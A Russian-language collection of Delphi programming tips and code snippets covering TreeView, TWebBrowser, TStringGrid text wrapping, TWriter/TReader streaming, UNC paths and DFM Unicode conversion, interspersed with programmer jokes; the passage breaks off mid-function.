{ **** UBPFD *********** by delphibase.endimus.com ****
>> Получение пути заголовков к узлу в TreeView
Функция выдает путь к указанному узлу (к ноде) в TreeView
в виде строки заголовков узлов, разделенных символом Separator.
Зависимости: ComCtrls
Автор:       lipskiy, lipskiy@mail.ru, ICQ:51219290, Санкт-Петербург
Copyright:   Собственное написание (lipskiy)
Дата:        02 мая 2002 г.
***************************************************** }
function GetPathToNode(Node: TTreeNode; Separator: Char): string;
begin
  Result := '';
  if Node = nil then
    exit;
  while Node <> nil do
  begin
    Result := Node.Text + Separator + Result;
    Node := Node.Parent;
  end;
  Delete(Result, length(Result), 1);
end;

Копировать нижние узлы TTreeView во второй TTreeView.

Оформил: DeeCo Автор: http://www.swissdelphicenter.ch

type
   {: Callback to use to copy the data of a treenode when the 
     node itself is copied by CopySubtree. 
   @param oldnode is the old node 
   @param newnode is the new node 
   @Desc Use a callback of this type to implement your own algorithm 
     for a node copy. The default just uses the Assign method, which 
     produces a shallow copy of the nodes Data property. }
   TCopyDataProc = procedure(oldnode, newnode : TTreenode);
 {: The default operation is to do a shallow copy of the node, via 
Assign. }
 procedure DefaultCopyDataProc(oldnode, newnode : TTreenode);
 begin
   newnode.Assign(oldnode);
 end;
 {-- CopySubtree 
-------------------------------------------------------}
 {: Copies the source node with all child nodes to the target treeview. 
@Param sourcenode is the node to copy 
@Param target is the treeview to insert the copied nodes into 
@Param targetnode is the node to insert the copy under, can be nil to 
  make the copy a top-level node. 
@Param CopyProc is the (optional) callback to use to copy a node. 
  If Nil is passed for this parameter theDefaultCopyDataProc will be 
used. 
@Precondition  sourcenode <> nil, target <> nil, targetnode is either 
  nil or a node of target 
@Raises Exception if targetnode happens to be in the subtree rooted in 
  sourcenode. Handling that special case is rather complicated, so we 
  simply refuse to do it at the moment. 
}{ Created 2003-04-09 by P. Below ----------------------------------------------------------------------- 
}
 procedure CopySubtree(sourcenode : TTreenode; target : TTreeview;
   targetnode : TTreenode; CopyProc : TCopyDataProc = nil);
 var
   anchor : TTreenode;
   child : TTreenode;
 begin { CopySubtree }
   Assert(Assigned(sourcenode),
     'CopySubtree:sourcenode cannot be nil');
   Assert(Assigned(target),
     'CopySubtree: target treeview cannot be nil');
   Assert((targetnode = nil) or (targetnode.TreeView = target),
     'CopySubtree: targetnode has to be a node in the target treeview.');
   if (sourcenode.TreeView = target) and
     (targetnode.HasAsParent(sourcenode) or (sourcenode =
     targetnode)) then
     raise Exception.Create('CopySubtree cannot copy a subtree to one of the ' +
       'subtrees nodes.');
   if not Assigned(CopyProc) then
     CopyProc := DefaultCopyDataProc;
   anchor := target.Items.AddChild(targetnode, sourcenode.Text);
   CopyProc(sourcenode, anchor);
   child := sourcenode.GetFirstChild;
   while Assigned(child) do
    begin
     CopySubtree(child, target, anchor, CopyProc);
     child := child.getNextSibling;
   end; { While }
 end; { CopySubtree }
 procedure TForm1.Button1Click(Sender : TObject);
 begin
   if assigned(treeview1.selected) then
     CopySubtree(treeview1.selected, treeview2, nil);
 end;

Добавить текущую страницу TWebBrowser в Избранное.

Статьи по Delphi (017)…

Ответ в окне браузера: ты ответа не дождешься, глупый юзер, я не твой!
// You need: 1 TEdit, 2 TButtons, 1 TWebbrowser 
const 
  NotAllowed: set of Char = ['"'] + ['/'] + ['\'] + ['?'] + [':'] + ['*'] + 
    ['<'] + ['>'] + ['|']; 
implementation 
{$R *.DFM} 
function Load(Path, Key: string): string; 
var 
  Reg: TRegistry; 
begin 
  Reg := TRegistry.Create; 
  try 
    Reg.RootKey := HKEY_CURRENT_USER; 
    Reg.OpenKey(Path, False); 
    try 
      Result := Reg.ReadString(Key); 
    except 
      Result := ''; 
    end; 
    Reg.CloseKey; 
  finally 
    Reg.Free; 
  end; 
end; 
function WinDir: string; 
var 
  WinDir: PChar; 
begin 
  WinDir := StrAlloc(MAX_PATH); 
  GetWindowsDirectory(WinDir, MAX_PATH); 
  Result := string(WinDir); 
  if Result[Length(Result)] <> '\' then 
    Result := Result + '\'; 
  StrDispose(WinDir); 
end; 
function GetSysDir: string; 
var 
  dir: array [0..MAX_PATH] of Char; 
begin 
  GetSystemDirectory(dir, MAX_PATH); 
  Result := StrPas(dir); 
end; 
// Navigate to a page 
procedure TForm1.Button1Click(Sender: TObject); 
begin 
  Webbrowser1.Navigate(edit1.Text); 
end; 
// Add the current page to the favorites 
procedure TForm1.Button2Click(Sender: TObject); 
var 
  url: TStringList; 
  fav: string; 
  title, b: string; 
  i: Integer; 
  c: Char; 
begin 
  fav := Load('Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders','Favorites'); 
  url := TStringList.Create; 
  try 
    url.Add('[InternetShortcut]'); 
    url.Add('URL=' + webbrowser1.LocationURL); 
    url.Add('WorkingDirectory=' + WinDir()); 
    url.Add('IconIndex=0'); 
    url.Add('ShowCommand=7'); 
    url.Add('IconFile=' + GetSysDir() + '\url.dll'); 
    title := Webbrowser1.LocationName; 
    b := ''; 
    for i := 1 to Length(title) do 
    begin 
      c := title[i]; 
      if not (c in NotAllowed) then 
      begin 
        b := b + Webbrowser1.LocationName[i]; 
      end; 
    end; 
    url.SaveToFile(fav + '\' + b + '.url'); 
  finally 
    url.Free; 
  end; 
end; 
end.

Как в TWEBBrowser организовать изменение размера шрифта.

procedure TWebBrowserXXX.SetFontSize(nSize: OleVariant);
begin
  if (nSize >= 0) and (nSize <= 4) then
    ExecWB(OLECMDID_ZOOM, OLECMDEXECOPT_DONTPROMPTUSER, nSize)
end;

Заменить рисунки в TWEBBrowser.

Сидит на Пр. Ленина студентка и играет на баяне. Перед ней табличка: "Помогите бедной студентке на интернет."
procedure TForm1.Button1Click(Sender: TObject); 
var 
  li: Word; 
begin 
  // Loop through all images of a TWebbrowser 
  // Schleife ььег alle Bilder im Webbrowser 
  for li := 0 to WebBrowser1.OleObject.Document.Images.Length - 1 do 
    // Exchange image with an own image 
    // Austauschen der Bilder im webbrowser - durch 'MyImage.gif' 
    WebBrowser1.OleObject.Document.Images.Item(0).Src := 'c:\MyImage.gif'; 
end;

TWinControl.Caption. Теряется маленькая русская буква я.

Автор: Kuznetsov Alexey.

Описание глюка: Создаешь новый проект; кидаешь на форму TGroupBox; в ObjectInspectore выбираешь свойство Caption; изменяшь его на: я (обязательно маленькая!!!) или на любую строку которая начинается с я; запускаешь на выполнение; при выполении у меня на TGroupBox-е не было никакого Caption;

Куда-то он теряет Caption если он начинается с маленькой "я"... Этот глюк будет наблюдаться у всех компонент, включая TForm, которые наследуются от TWinControl.

Причем этот глюк можно поймать, и не запуская проект на выполнение. Делаем так: View Form as Text View Text as Form и вуаля: Caption(ы) который начинался с маленькой буквы "я", ушел в гору... Видимо, что то в механизме чтения из dfm не переварило этой буковки. Проверено на 3-х разных компьютерах. КОММЕНТАРИЙ Проверено (D5, NT4, W2K). Выяснилось следующее. Проблема имеет место быть только под Windows 2000 (возможно, по наследству осталась и в Windows XP). Анализ содержимого exe-файла тестового примера (компилировалось под W2K) показал, что символ "я" в Caption присутствует. Отладка показала, что исчезновение происходит при вызове функции API CreateWindowEx, один из параметров которой - Caption, содержащий первым символом русскую "я" (код $FF в кодировке Win1251). Очевидно, ошибка кроется в недрах подсистемы Win32 операционки Windows 2000. Комментарий от SHKoder'a

При большом желании это можно победить так:

procedure TForm1.FormCreate(Sender: TObject);
begin
  GroupBox1.Caption := 'я';
  GroupBox2.Caption := #1103;
end;

Но глюк конешно есть и в WinXP и в Win2K3, в Delphi6 и Delphi7.

Мерцание формы.

Автор: Jeff Johnson Как бы это осуществить рисование в окне без его дурацкого мерцания и без помощи создания виртуального изображения в памяти? WM_SETREDRAW здесь поможет?

Попробуйте этот код. Даже если некоторые компоненты имеют пару BeginUpdate / EndUpdate, то для таких компонентов, как TTreeView, интенсивное рисование может послужить причиной перемещения полосы прокрутки и появления других "барабашек". В таких ситуаций вместо дескриптора элемента управления используйте родительский дескриптор.

procedure BeginScreenUpdate(hwnd: THandle);
begin
  if (hwnd = 0) then
    hwnd := Application.MainForm.Handle;
  SendMessage(hwnd, WM_SETREDRAW, 0, 0);
end;
procedure EndScreenUpdate(hwnd: THandle; erase: Boolean);
begin
  if (hwnd = 0) then
    hwnd := Application.MainForm.Handle;
  SendMessage(hwnd, WM_SETREDRAW, 1, 0);
  RedrawWindow(hwnd, nil, 0, DW_FRAME + RDW_INVALIDATE +
    RDW_ALLCHILDREN + RDW_NOINTERNALPAINT);
  if (erase) then
    Windows.InvalidateRect(hwnd, nil, True);
end;

Две колонки в DBLookupComboBox.

Статьи по Delphi (017)…

Попробуйте использовать что-то типа этого:

DBLookupCombo1.LookupDisplay := 'Company;City;Country'; 

Т.е., для того, чтобы выводить более одного поля, разделите имя каждого поля точкой с запятой.

Drag and Drop для двух компонентов TOutline.

Статьи по Delphi (017)…

Автор: Lloyd Linklater (Sysop) (Delphi Technical Support).

unit Unit1;
interface
uses
  SysUtils, WinTypes, WinProcs, Messages, Classes, Graphics, Controls,
  Forms, Dialogs, Grids, Outline;
type
  TForm1 = class(TForm)
    Outline1: TOutline;
    Outline2: TOutline;
    procedure OutlineDragDrop(Sender, Source: TObject; X, Y: Integer);
    procedure OutlineMouseDown(Sender: TObject; Button: TMouseButton;
      Shift: TShiftState; X, Y: Integer);
    procedure OutlineDragOver(Sender, Source: TObject; X, Y: Integer;
      State: TDragState; var Accept: Boolean);
  private
    { Private declarations }
  public
    { Public declarations }
  end;
var
  Form1: TForm1;
implementation
{$R *.DFM}
procedure TForm1.OutlineDragDrop(Sender, Source: TObject; X, Y: Integer);
begin
  with Sender as TOutline do
  begin
    AddChild(GetItem(x, y),
      TOutline(Source).Items[TOutline(Source).SelectedItem].Text);
  end;
end;
procedure TForm1.OutlineMouseDown(Sender: TObject; Button: TMouseButton;
  Shift: TShiftState; X, Y: Integer);
begin
  if Button = mbLeft then
    with Sender as TOutline do
    begin
      if GetItem(x, y) >= 0 then
        BeginDrag(False);
    end;
end;
procedure TForm1.OutlineDragOver(Sender, Source: TObject; X, Y: Integer;
  State: TDragState; var Accept: Boolean);
begin
  if (Source is TOutline) and (TOutline(Source).GetItem(x, y) <>
    TOutline(Source).SelectedItem) then
    Accept := True
  else
    Accept := False;
end;
end.

Компонет TWrapGrid, осуществляющий перенос текста в TStringGrid.

Я наконец нашел время и создал заказной компонент TWrapGrid, функционально идентичный TStringGrid, но умеющий переносить текст в ячейках. Пока это бета-версия, поэтому поэкспериментируйте с ним, и в случае наличия каких-либо замечаний или предложений не забудьте уведомить об этом меня. При использовании компонента не забывайте про RowHeights (или DefaultRowHeight), т.к. при переносе текста потребуется отобразить несколько строк. Для использования скопируйте код в модуль, сохраните его с именем 'Wrapgrid.PAS' и следуйте за инструкциями, расположенными в верхней части кода.

Присылайте свой комментарии и пожелания. Вот код:

{  Код заказного компонента для Delphi.
Позволяет переносить текст в TStringGrid, отсюда и его имя - TWrapGrid.
Автор Luis J. de la Rosa.
E-mail: delarosa@ix.netcom.com
Вы свободны в использовании, распространении и улучшении кода.
Для использования:  Выберите в Delphi пункты меню 'Options' - 'Install Components'.
Нажмите 'Add'.
Найдите и выберите файл с именем 'Wrapgrid.PAS'.
Нажмите 'OK'.
После этого вы увидете компонент во вкладке "Samples" палитры компонентов
Delphi.
После этого вы можете использовать компонент вместо стандартного TStringGrid.
Пожалуйста шлите любые комментарии и пожелания на адрес delarosa@ix.netcom.com.
Успехов!
Несколько дополнительных замечаний по коду:
Методы Create и DrawCell были перекрыты. Everything else should
behave just like a TStringGrid.
The Create sets the DefaultDrawing to False, so you don't need to.
Also, I am using the pure block emulation style of programming, making my
code easier to read.
}
unit Wrapgrid;
interface
uses
  SysUtils, WinTypes, WinProcs, Messages, Classes, Graphics, Controls,
  Forms, Dialogs, Grids;
type
  TWrapGrid = class(TStringGrid)
  private
    { Private declarations }
  protected
    { Protected declarations }
    { Процедура DrawCell осуществляет перенос текста в ячейке }
    procedure DrawCell(ACol, ARow: Longint; ARect: TRect;
      AState: TGridDrawState); override;
  public
    { Public declarations }
    { Процедура Create перекрывается для того, чтобы использовать процедуру DrawCell
    по умолчанию }
    constructor Create(AOwner: TComponent); override;
  published
    { Published declarations }
  end;
procedure Register;
implementation
constructor TWrapGrid.Create(AOwner: TComponent);
begin
  { Создаем TStringGrid }
  inherited Create(AOwner);
  { Заставляем компонент перерисовываться нашей процедурой по умолчанию DrawCell }
  DefaultDrawing := FALSE;
end;
{ Процедура DrawCell осуществляет перенос текста в ячейке }
procedure TWrapGrid.DrawCell(ACol, ARow: Longint; ARect: TRect;
  AState: TGridDrawState);
var
  Sentence, { Выводимый текст }
  CurWord: string; { Текущее выводимое слово }
  SpacePos, { Позиция первого пробела }
  CurX, { Х-координата 'курсора' }
  CurY: Integer; { Y-координата 'курсора' }
  EndOfSentence: Boolean; { Величина, указывающая на заполненность ячейки }
begin
  { Инициализируем шрифт, чтобы он был управляющим шрифтом }
  Canvas.Font := Font;
  with Canvas do
  begin
    { Если это фиксированная ячейка, тогда используем фиксированный цвет }
    if gdFixed in AState then
    begin
      Pen.Color := FixedColor;
      Brush.Color := FixedColor;
    end
      { в противном случае используем нормальный цвет }
    else
    begin
      Pen.Color := Color;
      Brush.Color := Color;
    end;
    { Рисуем подложку цветом ячейки }
    Rectangle(ARect.Left, ARect.Top, ARect.Right, ARect.Bottom);
  end;
  { Начинаем рисование с верхнего левого угла ячейки }
  CurX := ARect.Left;
  CurY := ARect.Top;
  { Здесь мы получаем содержание ячейки }
  Sentence := Cells[ACol, ARow];
  { для каждого слова ячейки }
  EndOfSentence := FALSE;
  while (not EndOfSentence) do
  begin
    { для получения следующего слова ищем пробел }
    SpacePos := Pos(' ', Sentence);
    if SpacePos > 0 then
    begin
      { получаем текущее слово плюс пробел }
      CurWord := Copy(Sentence, 0, SpacePos);
      { получаем остальную часть предложения }
      Sentence := Copy(Sentence, SpacePos + 1, Length(Sentence) - SpacePos);
    end
    else
    begin
      { это - последнее слово в предложении }
      EndOfSentence := TRUE;
      CurWord := Sentence;
    end;
    with Canvas do
    begin
      { если текст выходит за границы ячейки }
      if (TextWidth(CurWord) + CurX) > ARect.Right then
      begin
        { переносим на следующую строку }
        CurY := CurY + TextHeight(CurWord);
        CurX := ARect.Left;
      end;
      { выводим слово }
      TextOut(CurX, CurY, CurWord);
      { увеличиваем X-координату курсора }
      CurX := CurX + TextWidth(CurWord);
    end;
  end;
end;
procedure Register;
begin
  { Вы можете изменить закладку Samples на любую другую
  палитре компонентов Delphi }
  RegisterComponents('Samples', [TWrapGrid]);
end;
end.

Пример TWriter и TReader.

Вот что вы должны сделать для того, чтобы с помощью TWriter/TReader записать строку в поток. До сих пор для простоты я использую TMemoryStream.

Ключевыми являются вызовы Read/WriteListBegin и Read/WriteListEnd. Без них вы получите исключение.

procedure TForm1.Button1Click(Sender: TObject);
var
  sWrite, sRead: string[25];
  MyStream: TMemoryStream;
  MyWriter: TWriter;
  MyReader: TReader;
begin
  MyStream := TMemoryStream.Create;
  MyStream.SetSize(4096);
  MyWriter := TWriter.Create(MyStream, 4096);
  sWrite := 'sWriteContents';
  MyWriter.WriteListBegin;
  MyWriter.WriteString(sWrite);
  MyWriter.WriteListEnd;
  MyWriter.free;
  MyStream.Seek(0, 0);
  MyReader := TReader.Create(MyStream, 4096);
  MyReader.ReadListBegin;
  sRead := MyReader.ReadString;
  MyReader.ReadListEnd;
  MyReader.free;
  Label1.Caption := sRead;
  MyStream.free;
end;

TWriter и TReader - читаем и пишем в файл.

Статьи по Delphi (017)…
unit MsForm;
interface
uses
  Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
  StdCtrls;
type
  TForm1 = class(TForm)
    ButtonReadText: TButton;
    ButtonWriteLines: TButton;
    OpenDialog1: TOpenDialog;
    SaveDialog1: TSaveDialog;
    Memo1: TMemo;
    ButtonReadLines: TButton;
    ButtonWriteRev: TButton;
    ButtonMoveLines: TButton;
    procedure ButtonReadTextClick(Sender: TObject);
    procedure ButtonWriteLinesClick(Sender: TObject);
    procedure ButtonReadLinesClick(Sender: TObject);
    procedure ButtonWriteRevClick(Sender: TObject);
    procedure ButtonMoveLinesClick(Sender: TObject);
  end;
var
  Form1: TForm1;
implementation
{$R *.DFM}
procedure TForm1.ButtonReadTextClick(Sender: TObject);
var
  Str1: TFileStream;
  I: Integer;
begin
  OpenDialog1.Filter :=
    'Text File (*.txt)|*.txt|Pascal File (*.pas)|*.pas|' +
    'ReadWrite File (*.rwt)|*.rwt|Any file (*.*)|*.*';
  OpenDialog1.DefaultExt := 'txt';
  if OpenDialog1.Execute then
  begin
    Str1 := TFileStream.Create (
      OpenDialog1.Filename, fmOpenRead);
    try
      Memo1.Lines.LoadFromStream (Str1);
    finally
      Str1.Free;
    end;
    // enable all buttons
    for I := 0 to ControlCount - 1 do
      if Controls [I] is TButton then
        TButton (Controls [I]).Enabled := True;
  end;
end;
procedure TForm1.ButtonWriteLinesClick(Sender: TObject);
var
  Str1: TFileStream;
  Writer1: TWriter;
  I: Integer;
begin
  SaveDialog1.Filter :=
    'Read Write file (*.rwf)|*.rwf|Any file (*.*)|*.*';
  SaveDialog1.FilterIndex := 1;
  SaveDialog1.DefaultExt := 'rwt';
  if SaveDialog1.Execute then
  begin
    Str1 := TFileStream.Create (
      SaveDialog1.FileName, fmCreate or fmOpenWrite);
    Writer1 := TWriter.Create (Str1, 1024);
    try
      Writer1.WriteListBegin;
      for I := 0 to Memo1.Lines.Count - 1 do
        Writer1.WriteString (Memo1.Lines [I]);
      Writer1.WriteListEnd;
    finally
      Writer1.Free;
      Str1.Free;
    end;
  end;
end;
procedure TForm1.ButtonReadLinesClick(Sender: TObject);
var
  Str1: TFileStream;
  Reader1: TReader;
  I: Integer;
begin
  OpenDialog1.Filter :=
    'Read Write file (*.rwf)|*.rwf|Any file (*.*)|*.*';
  OpenDialog1.FilterIndex := 1;    
  OpenDialog1.DefaultExt := 'rwt';
  if OpenDialog1.Execute then
  begin
    Str1 := TFileStream.Create (
      OpenDialog1.Filename, fmOpenRead);
    Reader1 := TReader.Create (Str1, 1024);
    try
      Reader1.ReadListBegin;
      Memo1.Lines.Clear;
      while not Reader1.EndOfList do
      begin
        Memo1.Lines.Add (Reader1.ReadString);
        Application.ProcessMessages;
      end;
      Reader1.ReadListEnd;
    finally
      Reader1.Free;
      Str1.Free;
    end;
    // enable all buttons
    for I := 0 to ControlCount - 1 do
      if Controls [I] is TButton then
        TButton (Controls [I]).Enabled := True;
   end;
end;
procedure TForm1.ButtonWriteRevClick(Sender: TObject);
var
  Str1: TFileStream;
  Writer1: TWriter;
  I: Integer;
begin
  SaveDialog1.Filter :=
    'Read Write Test file (*.rwt)|*.rwt|Any file (*.*)';
  SaveDialog1.DefaultExt := 'rwt';
  if SaveDialog1.Execute then
  begin
    Str1 := TFileStream.Create (
      SaveDialog1.FileName, fmCreate or fmOpenWrite);
    Writer1 := TWriter.Create (Str1, 1024);
    try
      Writer1.WriteListBegin;
      for I := Memo1.Lines.Count - 1 downto 0 do
        Writer1.WriteString (Memo1.Lines [I]);
      Writer1.WriteListEnd;
    finally
      Writer1.Free;
      Str1.Free;
    end;
  end;
end;
procedure TForm1.ButtonMoveLinesClick(Sender: TObject);
var
  MemStr1: TMemoryStream;
  Writer1: TWriter;
  Reader1: TReader;
  I: Integer;
begin
  MemStr1 := TMemoryStream.Create;
  try
    Writer1 := TWriter.Create (MemStr1, 1024);
    try
      Writer1.WriteListBegin;
      Randomize;
      while Memo1.Lines.Count > 0 do
      begin
        I := Random (Memo1.Lines.Count);
        Writer1.WriteString (Memo1.Lines [I]);
        Memo1.Lines.Delete (I);
        Application.ProcessMessages;
      end;
      Writer1.WriteListEnd;
    finally
      Writer1.Free;
    end;
    // reset, rewind, move back
    // to the beginning of the stream
    MemStr1.Seek (0, soFromBeginning);
    Reader1 := TReader.Create (MemStr1, 1024);
    try
      Reader1.ReadListBegin;
      while not Reader1.EndOfList do
      begin
        Memo1.Lines.Add (Reader1.ReadString);
        Application.ProcessMessages;
      end;
      Reader1.ReadListEnd;
      finally
        Reader1.Free;
      end;
    finally
      memStr1.Free;
  end;
end;
end.

Загрузить весь проект

Прочитать строку под нужным номером из текстового файла.

Оформил: DeeCo Автор: http://www.swissdelphicenter.ch

{ 
 Abstract: 
  Im trying to write a function that, given a FileName and a line number 
  returns the entire line in a string. 
}
 { 
 The following technique is useful for high-speed processing. 
 The sample program file, save it with a .pas or .dpr filename and compile it. 
}
 {$APPTYPE CONSOLE}
 uses SysUtils, Classes;
 function GrabLine(const AFileName: string; ALine: Integer): string;
 var
   fs: TFileStream;
   buf: packed array[0..4095] of Char;
   bufRead: Integer;
   bufPos: PChar;
   lineStart: PChar;
   tmp: string;
 begin
   fs := TFileStream.Create(AFileName, fmOpenRead);
   try
     Dec(ALine);
     bufRead := 0;
     bufPos := nil;
     { read the first line specially }
     if ALine = 0 then
     begin
       bufRead := fs.Read(buf, SizeOf(buf));
       if bufRead = 0 then
         raise Exception.Create('Line not found');
       bufPos := buf;
     end else
       while ALine > 0 do
       begin
         { read in a buffer }
         bufRead := fs.Read(buf, SizeOf(buf));
         if bufRead = 0 then
           raise Exception.Create('Line not found');
         bufPos := buf;
         while (bufRead > 0) and (ALine > 0) do
         begin
           if bufPos^ = #10 then
             Dec(ALine);
           Inc(bufPos);
           Dec(bufRead);
         end;
       end;
     { Found the beginning of the line at bufPos... scan for end. 
      2 cases: 
        1) we'll find it before the end of this buffer 
        2) it'll go beyond this buffer and into n more buffers }
     lineStart := bufPos;
     while (bufRead > 0) and (bufPos^ <> #10) do
     begin
       Inc(bufPos);
       Dec(bufRead);
     end;
     { if bufRead is positive, we'll have found the end and we can leave. }
     SetString(Result, lineStart, bufPos - lineStart);
     { determine if there are more buffers to process }
     while bufRead = 0 do
     begin
       bufRead := fs.Read(buf, SizeOf(buf));
       lineStart := buf;
       bufPos := buf;
       while (bufRead > 0) and (bufPos^ <> #10) do
       begin
         Inc(bufPos);
         Dec(bufRead);
       end;
       SetString(tmp, lineStart, bufPos - lineStart);
       Result := Result + tmp;
     end;
   finally
     fs.Free;
   end;
 end;
 function GrabLine2(const s: string; ALine: Integer): string;
 var
   sl: TStringList;
 begin
   sl := TStringList.Create;
   try
     sl.LoadFromFile(s);
     Result := sl[ALine - 1]; // index off by one 
  finally
     sl.Free;
   end;
 end;
 begin
   Writeln(GrabLine(ParamStr(1), StrToInt(ParamStr(2))));
   Writeln(GrabLine2(ParamStr(1), StrToInt(ParamStr(2))));
 end.
 { 
Call it like 'getline testfile.txt 20000', depending on what you call the 
.pas (or .dpr) file. For large (i.e. tens of megabytes) files, the (rather 
complex) scanning function easily beats the memory expensive StringList 
version. 
-- Barry 
}

Типизированные константы.

Чтобы инициализировать переменную на стадии ее создания, нужно объявить ее, как типизированную константу. Таким способом можно инициализировать переменные простых типов, а также записи, массивы, множества.

Пример:

procedure TForm1.FormCreate(Sender: TObject);
const
  a: integer = 0;
  p: TPoint = (x: 10; y: 20);
  BoolStr: array [boolean] of string = ('false', 'true');
  figures: set of char = ['0'..'9'];
begin
  p := Form1.ClientToScreen(p);
  SetCursorPos(p.x, p.y);
  Form1.Caption := BoolStr[GetKeyState(VK_NUMLOCK) and 1 > 0];
end;

Типы модулей в Delphi.

Наиболее распространенным типом модуля в Delphi является форма - модуль со связанным с ним окном. Интерфейсная часть такого модуля обычно содержит объявление нового класса и автоматически обновляется Delphi в ходе конструирования окна. В интерфейсной части модуля-формы содержится также объявление объекта для соответствующего оконного класса. Например, для нашей учебной программы модуль содержит объявление класса TfmExamie и объекта fmExampie. Большинство типовых модулей в репозитории содержат заготовки для создания диалоговых окон. Помимо форм в репозитории содержатся также не связанные с видимыми окнами модули. Кроме уже рассмотренного выше модуля общего назначения, к ним относятся модули данных, модули динамических библиотек, пакеты и модули потоков. Модули данных имеют связанные с ними окна, однако, эти окна никогда не появляются на экране. Необходимость в окнах вызвана тем, что компоненты доступа к данным страницы можно вставить только в форму, хотя все они не имеют видимого воплощения в работающей программе. Невидимое окно модуля данных предназначено для размещения этих компонентов и связанных с ними объектов-полей. Разумеется, для размещения компонентов и полей можно использовать и обычное окно-форму, однако в этом случае пиктограммы компонентов загромождают видимое пространство окна и затрудняют его конструирование. В Delphi 5, 6 модули данных способны отображать реляционные связи между сущностями базы данных в виде диаграмм. Модули динамических библиотек предназначены для создания широко используемых в Windows динамически связываемых библиотек DLL (Dynamic-Link Libraries). DLL служат универсальным средством согласования подпрограмм, написанных на разных языках программирования. В Windows содержится множество DLL, написанных на языке Си или на языке ассемблера, что ничуть не мешает Delphi-программам использовать их. Модули динамических библиотек предназначены для разработки DLL с помощью Object Pascal. Такие DLL затем смогут использовать программы, созданные с помощью других языков программирования. Пакеты - это особым образом откомпилированные DLL, оптимизированные для совместного использования Delphi-программами, или средой Delphi, или и программами, и средой. В отличие от DLL пакеты могут хранить и передавать программе типы (включая классы) и данные. Они разработаны специально для хранения компонентов, разного рода экспертов, редакторов сложных свойств и т. п. Например, в пакете VCL60 .bpl содержатся основные компоненты Delphi.

Модули потоков предназначены для реализации так называемых потоков команд[ В Delphi существуют также потоки данных - см.п. 11.4. ] - фрагментов программы, которые исполняются параллельно с другими фрагментами, разделяя с ними время процессора и остальные системные ресурсы. Механизм потоков используется в 32-разрядных Windows и не поддерживается в Delphi 1. К сожалению, в текущей реализации Delphi 32 потоки не могут связываться с собственными видимыми компонентами, так как библиотека визуальных компонентов VCL (Visual Component Library) не поддерживает работу с потоками. Вот почему модуль потока не имеет связанного с ним окна.

Получить сетевой путь к зашаренному файлу по локальному пути.

Оформил: DeeCo Автор: http://www.swissdelphicenter.ch


 ExpandUNCFileName returns the full path of the FileName
 with the network drive portion in UNC format.
 The pathname in the UNC-Format has the format:
 \\Servername\sharename
 ExpandUNCFileName gibt einen String mit dem vollstandigen
 Pfadnamen der in FileName ubergebenen Datei zuruck.
 Ein vollstandig qualifizierter Pfadname besteht aus der
 Laufwerkskomponente des Dateinamens im UNC-Format:
 \\Servername\sharename

 // Example, Beispiel: 
Label1.Caption := ExpandUNCFileName('K:\sharename.tmp'));
 {where "K" is a Network Drive.}

Получить сетевой путь к зашаренному файлу по локальному пути 2.

Оформил: DeeCo Автор: http://www.swissdelphicenter.ch

 function GetUNCName(const LocalPath: string): string;
 var
   BufferSize: DWord;
   DummyBuffer: Byte;
   Buffer: Pointer;
   Error: DWord;
 begin
   BufferSize := 1;
   WNetGetUniversalName(PChar(LocalPath), UNIVERSAL_NAME_INFO_LEVEL, @DummyBuffer, BufferSize);
   Buffer := AllocMem(BufferSize);
   try
     Error := WNetGetUniversalName(PChar(LocalPath), UNIVERSAL_NAME_INFO_LEVEL, Buffer, BufferSize);
     if Error <> NO_ERROR then
       begin
         SetLastError(Error);
         RaiseLastWin32Error;
       end;
     Result := PUniversalNameInfo(Buffer)^.lpUniversalName
   finally
     FreeMem(Buffer);
   end;
 end;
 procedure TForm1.Button1Click(Sender: TObject);
 begin
  Label1.Caption := GetUNCName('y:\xyz\')
 end;

Отменить удаление dBASE записи.

Оформил: DeeCo Автор: http://www.swissdelphicenter.ch

procedure RecordUndelete(aTable: TTable);
 begin
   aTable.UpdateCursorPos;
   try
     Check(DbiUndeleteRecord(aTable.Handle));
   except
     ShowMessage('No undelete performed.');
   end;
 end;

Как запрограммировать Undo.

Встречаются два программиста - один идет веселый, пьет пиво, а второй - грустный, но с коляской. Первый: - Ты чего такой? Жизнь прекрасна! Второй (указывая на коляску): - Да вот!.. Ни Uninstall, ни Undo не помогли
Memo1.Perform(EM_UNDO, 0, 0);

Преобразование Unicode строк в DFM файлах Delphi 6 в Ansi строки.

Автор: Alx2 WEB-сайт: http://delphibase.endimus.com

{ **** UBPFD *********** by delphibase.endimus.com ****
>> Преобразование Unicode строк в DFM файлах Delphi 6 в Ansi строки.
При попытке открыть проект созданный в Delphi 6 из Delphi 5 возникает
проблема с чтением DFM-файла. Проблема заключается в том, что Delphi5
не может прочитать строки, записанные в формате Unicode (WideString).
Данная функция переводит строки из DFM файла в формат ANSI, после чего
DFM файл читается в D5. Но при этом может возникнуть проблема, связанная
с незнакомыми для D5 свойствами компонентов, которая, в свою очередь,
решается игнорированием этих свойств.
Зависимости: Classes
Автор:       Радионов Алексей (Alx2), alx@argo.mv.ru, ICQ:113442587, Ульяновск
Copyright:   Alx2
Дата:        31 мая 2002 г.
***************************************************** }
procedure RemoveUnicodeFromDFM(const Filename: string);
  function isChanges(const S: string; var Res: string): Boolean;
  var
    len: Integer;
    function LexemSharp(var K: Integer): Boolean;
    begin
      Result := (K < len) and (S[K] = '#');
      if Result then
      begin
        inc(K);
        while (K <= len) and (S[K] in ['0'..'9']) do
          inc(K);
      end;
    end;
    function LexemAp(var K: Integer): Boolean;
    begin
      Result := (K < len) and (S[K] = '''');
      if Result then
      begin
        inc(K);
        while (K <= len) and (S[K] <> '''') do
          inc(K);
        if K <= len then
          inc(K);
      end;
    end;
    function Lexem(var K: Integer; var Str: string): Boolean;
    var
      Start: Integer;
      ValS: string;
    begin
      Result := False;
      Start := K;
      if LexemSharp(K) then
      begin
        ValS := Copy(S, Start + 1, K - Start - 1);
        Str := WideChar(StrToInt(ValS));
        Result := True;
      end
      else if LexemAp(K) then
      begin
        Str := Copy(S, Start + 1, K - Start - 2);
        Result := True;
      end;
    end;
    function Prepare(var K: Integer): string;
    var
      Str: string;
      WasLexem: Boolean;
    begin
      Result := '';
      WasLexem := False;
      while Lexem(K, Str) do
      begin
        Result := Result + Str;
        WasLexem := True;
      end;
      if Result <> '' then
        Result := '''' + Result + '''' + Copy(S, K, Length(S))
      else if not WasLexem then
        Result := S
      else
        Result := '''''';
    end;
    function Min(A, B: Integer): Integer;
    begin
      if A = 0 then
